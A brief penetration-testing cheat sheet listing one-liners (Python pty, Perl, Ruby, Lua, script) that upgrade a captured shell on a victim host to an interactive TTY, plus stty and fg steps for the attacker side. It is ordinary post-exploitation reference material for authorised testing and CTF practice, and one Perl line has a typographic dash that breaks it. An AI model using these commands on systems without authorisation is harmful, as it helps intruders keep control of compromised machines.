Shell stabilization

List of commands which can help in stabilizing the shell

TTY Shells

python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
/usr/bin/script -qc /bin/bash /dev/null
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
echo os.system('/bin/bash')
/bin/sh -i
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
script -q /dev/null -c bash

TTY Shell Stabilization Process

Oneliner

stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
Victim

python -c 'import pty; pty.spawn("/bin/bash")' 
OR
/usr/bin/script -qc /bin/bash /dev/null

Control Z

Attacker 

stty raw -echo
fg
ENTER
ENTER

Victim

export TERM=xterm
stty cols 132 rows 34

Last updated